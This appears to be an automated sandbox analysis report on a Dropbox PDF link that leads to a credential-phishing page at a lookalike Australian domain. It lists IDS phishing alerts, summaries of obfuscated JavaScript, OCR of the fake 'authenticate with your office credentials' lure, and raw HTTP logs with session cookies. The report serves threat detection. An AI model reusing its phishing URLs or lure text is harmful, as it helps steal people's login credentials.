Edit tour

Windows Analysis Report
https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0

Overview

General Information

Sample URL:	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0
Analysis ID:	1581510
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious Javascript

HTML page contains obfuscated javascript

Phishing site or detected (based on various text indicators)

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1952,i,7709180573030881369,3416673047614882169,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Suricata Signatures

ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:27:03.238596+0100	2024228	2	Possible Social Engineering Attempted	104.21.24.16	443	192.168.2.16	50162	TCP
2024-12-27T23:27:37.642464+0100	2024228	2	Possible Social Engineering Attempted	104.21.24.16	443	192.168.2.16	50177	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.295.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscation of the script's purpose raise significant security concerns. While the script may have a legitimate purpose, such as implementing a security challenge, the overall behavior is highly suspicious and indicative of a potential attack vector.
Source: 0.300.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load an external script from an unknown source ('cdn-cgi/challenge-platform/scripts/jsd/main.js') is a strong indicator of malicious intent. Additionally, the script appears to be obfuscated, further raising suspicion. Overall, this script poses a significant security risk and should be treated with caution.
Source: 0.297.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load an external script from an unknown source, along with the obfuscated nature of the code, suggests this is a highly suspicious and potentially malicious script.
Source: 0.301.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/... This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `eval`, `Function` constructor, and heavily encoded strings indicates a high likelihood of malicious intent. Additionally, the script appears to be attempting to redirect the user to an unknown or suspicious domain, which further increases the risk. Overall, this script demonstrates a clear pattern of malicious activity and should be treated as a high-risk threat.
Source: 0.294.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()` and data exfiltration by sending user data to an unknown domain. The script also attempts to manipulate the DOM and redirect the user, which are further indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.

HTML page contains obfuscated javascript

Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/bAZ2D4aMPKNLdkqQFfzWAFyuBzi81IRlkCn3o8LcQh1BiQo5geFSZa9wMqxmhrjIlDoo3RjWyTP6J4VR3rTOztGeDfu75Sst5To04NkEwY1tGgvnOxgHbI7NHrw2pVJ7SeUhWlsaXcXdBsfqKPV9A0/index	HTTP Parser: var captchaChecked = false; if (captchaChecked) { fullz = "Y2FwdGNoYQ=
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/bAZ2D4aMPKNLdkqQFfzWAFyuBzi81IRlkCn3o8LcQh1BiQo5geFSZa9wMqxmhrjIlDoo3RjWyTP6J4VR3rTOztGeDfu75Sst5To04NkEwY1tGgvnOxgHbI7NHrw2pVJ7SeUhWlsaXcXdBsfqKPV9A0/index	HTTP Parser: var captchaChecked = false; if (captchaChecked) { fullz = "Y2FwdGNoYQ=

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 2.1

OCR Text: 2024 0K House- outreach PDF 9 & Share to... Log in Sign up File Edit View Help Z Edit q Mark up v tk Sign a copy v @ 175% v O Page 1 of 1 Comment 9 Stan May shared this file. Want to do more with it? Log In Sign up x Dropbox You have been granted access to vjew this Document PLEASE AUTHENTICATE WITH YOUR OFFICE CREDENTIALS TO ACCFS< DOCUMENT VIEW DOCUMENT

Source: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0

HTTP Parser: Base64 decoded: pdf_editing_zoom_grid_view

Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/	HTTP Parser: No favicon
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/	HTTP Parser: No favicon

Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 104.21.24.16:443 -> 192.168.2.16:50162
Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 104.21.24.16:443 -> 192.168.2.16:50177

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.121
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.121
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Flncgsm76k7l5ix7fuu5t6%2F2024-OK-House-Outreach.pdf&request_id=cc81d9e367a94713b7cc03c3413aa45b&time=1735338337 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.dropbox.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Flncgsm76k7l5ix7fuu5t6%2F2024-OK-House-Outreach.pdf&request_id=cc81d9e367a94713b7cc03c3413aa45b&time=1735338337 HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en
Source: global traffic	HTTP traffic detected: GET /pithos/api_helper_validation HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /2/client_metrics/record HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /2/campaigns_toolkit/get_best_campaigns_for_user HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /2/stickers/get_stickers HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /p/pdf_txt/ACfR3womCtm-FZjYN0BJg_-92pPeFBQp_jKEwnlmCkynFMhZvM0CUMROR_80Yorg1SYpvyh0ZuGT2bq4ErICOcb0g_NpH9guFrYsaaRAJDwcxbEc3gaPltc6xi1v8NTnH4XxhMUEF_CaOhHii43F_VdOjlnARNB1WIZdf2sv0HjZQMIYNhyJr4S3tUTIIXYm9ZjZi2zxMDRkYPXm2ggzo1pjlRtGH7_-9L2EZph3T5Dfik8JHNb1P11iv8aasJWVbEzBnanyednZ0zkW6HQPBzLMccdJpBm3nmKQDIPAw_5Nvn6eMHSbNGfzP8ersB_kpUc-WLDWWePSkekI_2ZqZ1gmeBwL9L2RqlgCcyoRqxxn35QjTSvamhfc4_HJeJZNt0M/p.json?is_prewarmed=true&metadata=1&text=1&page_start=0&page_end=50 HTTP/1.1Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: application/jsonAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2/file_presence/logged_out/get_pass_transmitter_token HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
Source: global traffic	HTTP traffic detected: GET /pithos/host%3Awww.dropbox.com/api_helper_validation HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR
Source: global traffic	HTTP traffic detected: GET /p/pdf_txt/ACfR3womCtm-FZjYN0BJg_-92pPeFBQp_jKEwnlmCkynFMhZvM0CUMROR_80Yorg1SYpvyh0ZuGT2bq4ErICOcb0g_NpH9guFrYsaaRAJDwcxbEc3gaPltc6xi1v8NTnH4XxhMUEF_CaOhHii43F_VdOjlnARNB1WIZdf2sv0HjZQMIYNhyJr4S3tUTIIXYm9ZjZi2zxMDRkYPXm2ggzo1pjlRtGH7_-9L2EZph3T5Dfik8JHNb1P11iv8aasJWVbEzBnanyednZ0zkW6HQPBzLMccdJpBm3nmKQDIPAw_5Nvn6eMHSbNGfzP8ersB_kpUc-WLDWWePSkekI_2ZqZ1gmeBwL9L2RqlgCcyoRqxxn35QjTSvamhfc4_HJeJZNt0M/p.json?is_prewarmed=true&metadata=1&text=1&page_start=0&page_end=50 HTTP/1.1Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /share_tib_log_unauth HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /pithos/host%3Awww.dropbox.com/api_helper_validation HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /2/files/get_file_content_metadata HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /2/comments2/logged_out/list_comments HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly 